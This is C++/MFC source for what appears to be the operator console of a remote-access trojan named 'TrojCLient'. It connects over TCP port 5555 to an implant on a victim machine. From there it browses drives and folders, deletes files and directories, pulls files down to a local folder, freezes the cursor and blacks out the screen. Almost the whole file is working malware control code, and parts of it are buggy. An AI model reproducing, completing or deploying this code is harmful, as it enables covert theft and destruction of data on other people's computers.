#include "stdafx.h"
#include "Common.h"
#include "TrojCLient.h"
#include "TrojCLientDlg.h"
#include "DownloadDlg.H"
#include "ConnectServer.h"
#include <windows.h>
#include <winsock.h>
#pragma comment (lib,"ws2_32")

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

HTREEITEM		SelectNode;

CString			PublicDir;


DWORD WINAPI CLisen(LPVOID lparam);

typedef struct
{
	int			ID;
	BYTE		lparam[BLOCK_SIZE*2]; 

}COMMAND;



typedef struct
{
	char		FileName[MAX_PATH];
	int			FileLen;
	char		Time[50];
	BOOL		IsDir;
	BOOL		Error;
	HICON		hIcon;

}FILEINFO;





WSADATA wsadata;
SOCKET server;
SOCKADDR_IN serveraddr;
int port=5555;




/////////////////////////////////////////////////////////////////////////////
// CMyDlg dialog

CMyDlg::CMyDlg(CWnd* pParent /*=NULL*/)
	: CDialog(CMyDlg::IDD, pParent)
{
	//{{AFX_DATA_INIT(CMyDlg)
	m_addr = _T("");
	//}}AFX_DATA_INIT
	m_hIcon = AfxGetApp()->LoadIcon(IDI_ICON);
}

void CMyDlg::DoDataExchange(CDataExchange* pDX)
{
	CDialog::DoDataExchange(pDX);
	//{{AFX_DATA_MAP(CMyDlg)
	DDX_Control(pDX, IDC_TREE, m_tree);
	DDX_Control(pDX, IDC_LIST, m_list);
	//}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CMyDlg, CDialog)
	//{{AFX_MSG_MAP(CMyDlg)
	ON_WM_PAINT()
	ON_WM_QUERYDRAGICON()
	ON_NOTIFY(TVN_SELCHANGED, IDC_TREE, OnSelchangedTree)
	ON_WM_CONTEXTMENU()
	ON_COMMAND(ID_MENU_DEL_FILE, OnMenuDelFile)
	ON_COMMAND(ID_MENU_DEL_DIR, OnMenuDelDir)
	ON_COMMAND(ID_MENU_GET_FILE, OnMenuGetFile)
	//}}AFX_MSG_MAP
	ON_COMMAND(ID_SERVER_CONNECT, &CMyDlg::OnServerConnect)
	ON_COMMAND(ID_SERVER_EXIT, &CMyDlg::OnServerExit)
	ON_COMMAND(ID_FILE_FROZECURSOR, &CMyDlg::OnFileFrozecursor)
	ON_COMMAND(ID_FILE_SCREEN, &CMyDlg::OnFileScreen)
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CMyDlg message handlers

BOOL CMyDlg::OnInitDialog()
{
	CDialog::OnInitDialog();

	WORD ver=MAKEWORD(2,2);
	WSAStartup(ver,&wsadata);

 	m_ImageList.Create(32,32,ILC_COLOR32,10,30);
	m_list.SetImageList(&m_ImageList,LVSIL_NORMAL);


	m_ImageList_tree.Create(18, 18, ILC_COLOR16,10, 0);
	HICON hIcon = NULL;

	hIcon = (HICON)::LoadImage(::AfxGetInstanceHandle(),MAKEINTRESOURCE(IDI_ICON1), IMAGE_ICON, 18, 18, 0);
	m_ImageList_tree.Add(hIcon);

	hIcon = (HICON)::LoadImage(::AfxGetInstanceHandle(),MAKEINTRESOURCE(IDI_ICON2), IMAGE_ICON, 32, 32, 0);
	m_ImageList_tree.Add(hIcon);

	hIcon = (HICON)::LoadImage(::AfxGetInstanceHandle(),MAKEINTRESOURCE(IDI_ICON3), IMAGE_ICON, 16, 16, 0);
	m_ImageList_tree.Add(hIcon);

	m_menu.LoadMenuA(IDR_MENU);
	this->SetMenu(&m_menu);
	//m_menu.Detach();

	m_tree.SetImageList ( &m_ImageList_tree,TVSIL_NORMAL );

    DWORD	dwStyle = GetWindowLong(m_tree.m_hWnd,GWL_STYLE);
    dwStyle |=TVS_HASBUTTONS | TVS_HASLINES | TVS_LINESATROOT;
    SetWindowLong(m_tree.m_hWnd,GWL_STYLE,dwStyle);
    m_hRoot = m_tree.InsertItem("Client",0,0,0,0);

	SetIcon(m_hIcon, TRUE);
	SetIcon(m_hIcon, FALSE);

	return TRUE;
}

// If you add a minimize button to your dialog, you will need the code below
//  to draw the icon.  For MFC applications using the document/view model,
//  this is automatically done for you by the framework.

void CMyDlg::OnPaint() 
{
	if (IsIconic())
	{
		CPaintDC dc(this); // device context for painting

		SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);

		// Center icon in client rectangle
		int cxIcon = GetSystemMetrics(SM_CXICON);
		int cyIcon = GetSystemMetrics(SM_CYICON);
		CRect rect;
		GetClientRect(&rect);
		int x = (rect.Width() - cxIcon + 1) / 2;
		int y = (rect.Height() - cyIcon + 1) / 2;

		// Draw the icon
		dc.DrawIcon(x, y, m_hIcon);
	}
	else
	{
		CDialog::OnPaint();
	}
}

HCURSOR CMyDlg::OnQueryDragIcon()
{
	return (HCURSOR) m_hIcon;
}

DWORD WINAPI CLisen(LPVOID lparam)
{
	CMyDlg *dlg=(CMyDlg*)lparam;

	COMMAND command;
	memset((char*)&command,0,sizeof(command));


	while(true)
	{
		while(true)
		{
			memset((char*)&command,0,sizeof(command));

			if(recv(server,(char*)&command,sizeof(command),0)==0)
			{
				break;
			}else
			{
				switch(command.ID)
				{
				case GetDriver:
					 dlg->GetDriverProc	(command.lparam);
					 break;
				case GetDirInfo:
					 dlg->GetDirProc(command.lparam);
					 break;
				case DelFile:
					 dlg->DelFileProc	(command.lparam);
					 break;
				case DelDir:
					 dlg->DelDirProc	(command.lparam);
					 break;
				case GetFile:
					 dlg->DownloadProc	(command.lparam);
					 break;

				}
			}
		}

	}
	closesocket(server);
	WSACleanup();

	return 0;
}

void CMyDlg::GetDriverProc(BYTE *DATE)
{
	char buf[BLOCK_SIZE];
	memset(buf,0,sizeof(buf));
	memcpy(buf,(char*)DATE,sizeof(DATE));

	m_tree.InsertItem(buf,1,1,m_hRoot,0);

	m_tree.Expand(m_hRoot,TVE_EXPAND);
	//return 0;
}

void CMyDlg::GetDirProc(BYTE *DATE)
{
	FILEINFO *fi=(FILEINFO*)DATE;
	
	if(fi->IsDir)
	{
		m_tree.InsertItem(fi->FileName,2,2,SelectNode,0);
		m_tree.Expand(SelectNode,TVE_EXPAND);
	}
	else
	{

		SHFILEINFO info;
		memset((char*)&info,0,sizeof(info));
		SHGetFileInfo(fi->FileName,0,&info,sizeof(&info),  SHGFI_ICON|SHGFI_USEFILEATTRIBUTES);

		int i = m_ImageList.Add(info.hIcon);
		m_list.InsertItem(i,fi->FileName,i);
	}
}

void CMyDlg::OnSelchangedTree(NMHDR* pNMHDR, LRESULT* pResult) 
{
	m_list.DeleteAllItems();
	NM_TREEVIEW* pNMTreeView = (NM_TREEVIEW*)pNMHDR;
	TVITEM item = pNMTreeView->itemNew;

	SelectNode=item.hItem;

	if(item.hItem == m_hRoot)
	{
		return;
	}

	
    HTREEITEM CurrentNode =  item.hItem;

	while(m_tree.GetChildItem(CurrentNode)!=NULL)
	{
		m_tree.DeleteItem(m_tree.GetChildItem(CurrentNode));
	}



    CString Temp;
	CString FullPath = "";
	while(CurrentNode != m_hRoot)
	{
		Temp = m_tree.GetItemText(CurrentNode);
		if(Temp.Right(1) != "\\")
		{
			Temp += "\\";
		}
		FullPath = Temp + FullPath;
		CurrentNode = m_tree.GetParentItem(CurrentNode);
	}


	COMMAND command;
	memset((char*)&command,0,sizeof(command));
	command.ID=GetDirInfo;
	strcpy((char*)&command.lparam,FullPath.LockBuffer());

	if(send(server,(char*)&command,sizeof(command),0)==SOCKET_ERROR)
	{
		AfxMessageBox("Get Server Dir Error");
	}

	*pResult = 0;
}

void CMyDlg::DelFileProc(BYTE *DATE)
{
}

void CMyDlg::OnContextMenu(CWnd* pWnd, CPoint point) 
{
	// TODO: Add your message handler code here


	CMenu menu;
	menu.LoadMenu(IDR_MENU_POP);
	CMenu *pop = menu.GetSubMenu(0);

	POINT ptMouse;
	GetCursorPos(&ptMouse);


	pop->TrackPopupMenu(TPM_LEFTALIGN|TPM_RIGHTBUTTON,ptMouse.x,ptMouse.y,this);
	
}

void CMyDlg::OnMenuExit() 
{
	closesocket(server);
	WSACleanup();

	exit(0);	
}

void CMyDlg::OnMenuDelFile() 
{
    HTREEITEM CurrentNode =  m_tree.GetSelectedItem();
	if(CurrentNode==NULL)
		return;

    CString Temp;
	CString FullPath = "";
	while(CurrentNode != m_hRoot)
	{
		Temp = m_tree.GetItemText(CurrentNode);
		if(Temp.Right(1) != "\\")
		{
			Temp += "\\";
		}
		FullPath = Temp + FullPath;
		CurrentNode = m_tree.GetParentItem(CurrentNode);
	}

	POSITION pos =m_list.GetFirstSelectedItemPosition();
	int i=m_list.GetNextSelectedItem(pos);
	if(i>=0)
		FullPath+=m_list.GetItemText(i,0);
	else
	{
		AfxMessageBox("xxx");
		return;
	}

	COMMAND command;
	memset((char*)&command,0,sizeof(command));
	command.ID=DelFile;
	strcpy((char*)&command.lparam,FullPath.LockBuffer());


	if(send(server,(char*)&command,sizeof(command),0)==SOCKET_ERROR)
	{
		AfxMessageBox("Send The ExecFile Command Error");
	}
	
}

void CMyDlg::SetPubDir(CString path)
{
	PublicDir=path;
}

void CMyDlg::OnMenuDelDir() 
{
    HTREEITEM CurrentNode =  m_tree.GetSelectedItem();

	if(CurrentNode==NULL)
		return;
    CString Temp;
	CString FullPath = "";
	while(CurrentNode != m_hRoot)
	{
		Temp = m_tree.GetItemText(CurrentNode);
		if(Temp.Right(1) != "\\")
		{
			Temp += "\\";
		}
		FullPath = Temp + FullPath;
		CurrentNode = m_tree.GetParentItem(CurrentNode);
	}

	Temp=FullPath+"Delete?";

	if(MessageBox(Temp.LockBuffer(),"Delete?",MB_YESNO|MB_ICONQUESTION)==IDYES)
	{
		COMMAND command;
		memset((char*)&command,0,sizeof(command));
		command.ID=DelDir;
		strcpy((char*)&command.lparam,FullPath.LockBuffer());


		if(send(server,(char*)&command,sizeof(command),0)==SOCKET_ERROR)
		{
			AfxMessageBox("Send The Command Error");
		}
	}
	else
	{
		return;
	}
	
}

void CMyDlg::DelDirProc(BYTE *DATE)
{
}

void CMyDlg::OnMenuGetFile() 
{
	DownloadDlg dlg;
	dlg.DoModal();

    HTREEITEM CurrentNode =  m_tree.GetSelectedItem();
	if(CurrentNode==NULL)
		return;

    CString Temp;
	CString FullPath = "";
	while(CurrentNode != m_hRoot)
	{
		Temp = m_tree.GetItemText(CurrentNode);
		if(Temp.Right(1) != "\\")
		{
			Temp += "\\";
		}
		FullPath = Temp + FullPath;
		CurrentNode = m_tree.GetParentItem(CurrentNode);
	}

	POSITION pos =m_list.GetFirstSelectedItemPosition();
	int i=m_list.GetNextSelectedItem(pos);
	if(i>=0)
		FullPath+=m_list.GetItemText(i,0);
	else
	{
		AfxMessageBox("Get FIle Error");
		return;
	}

	COMMAND command;
	memset((char*)&command,0,sizeof(command));
	command.ID=GetFile;
	strcpy((char*)&command.lparam,FullPath.LockBuffer());


	if(send(server,(char*)&command,sizeof(command),0)==SOCKET_ERROR)
	{
		AfxMessageBox("Send The  Command Error");
	}
	
}

void CMyDlg::DownloadProc(BYTE *DATE)
{
	FILEINFO *fi=(FILEINFO*)DATE;

	CFile	file;


	PublicDir+="\\";
	PublicDir+=fi->FileName;

	int FileLen=fi->FileLen;

	int		nChunkCount=FileLen/BUFFER_SIZE;

	//if(FileLen%nChunkCount!=0)
	{
		nChunkCount++;
	}

	if(file.Open(PublicDir,CFile::modeWrite|CFile::typeBinary|CFile::modeCreate))
	{
			char *date = new char[BUFFER_SIZE];

			for(int i=0;i<nChunkCount;i++)
			{
				int nLeft;

				if(i+1==nChunkCount)
					nLeft=FileLen-BUFFER_SIZE*(nChunkCount-1);
				else
					nLeft=BUFFER_SIZE;

				int idx=0;

				if(nLeft>0)
				{
					int ret=recv(server,&date[idx],nLeft,0);

					if(ret==SOCKET_ERROR)
						AfxMessageBox("error");

					idx+=ret;
					//nLeft-=ret;
				}
				file.Write(date,nLeft);
			}
			file.Close();
			delete[] date;
			AfxMessageBox("Download Success");
	}

}

void CMyDlg::SendCommand(int ID)
{
	COMMAND command;
	memset((char*)&command,0,sizeof(command));
	command.ID=ID;
	send(server,(char*)&command,sizeof(command),0);
}


void CMyDlg::OnServerConnect()
{
	// TODO: Add your command handler code here
	INT_PTR nRet = -1;
	CConnectServer m_connect_dlg;
	nRet = m_connect_dlg.DoModal();
	m_addr = m_connect_dlg.m_addr;
	switch (nRet)
	{
	case IDOK:
		Connect();
	default:
		break;
	}
}

void CMyDlg::OnServerExit()
{
	// TODO: Add your command handler code here
	closesocket(server);
	WSACleanup();

	exit(0);
}


int CMyDlg::Connect(void)
{
	UpdateData(true);
	if(m_addr.IsEmpty())
	{
		MessageBox("Server Addr is Empty");
		return -1;
	}
	server=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
	serveraddr.sin_family=AF_INET;
	serveraddr.sin_port=htons(port);
	serveraddr.sin_addr.S_un.S_addr=inet_addr(m_addr.LockBuffer());	

	if(connect(server,(SOCKADDR*)&serveraddr,sizeof(serveraddr))<0)
	{
		AfxMessageBox("Connect Server Error!");
		return -1;
	}
	
	COMMAND command;
	memset((char*)&command,0,sizeof(command));
	command.ID=GetDriver;
	send(server,(char*)&command,sizeof(command),0);

	m_menu.EnableMenuItem(ID_SERVER_CONNECT, MF_DISABLED);
	CreateThread(NULL,NULL,CLisen,this,NULL,NULL);
	return 0;
}


void CMyDlg::OnFileFrozecursor()
{
	// TODO: Add your command handler code here
	SendCommand(FrozeCursor);
}


void CMyDlg::OnFileScreen()
{
	// TODO: Add your command handler code here
	SendCommand(BlackScreen);
}
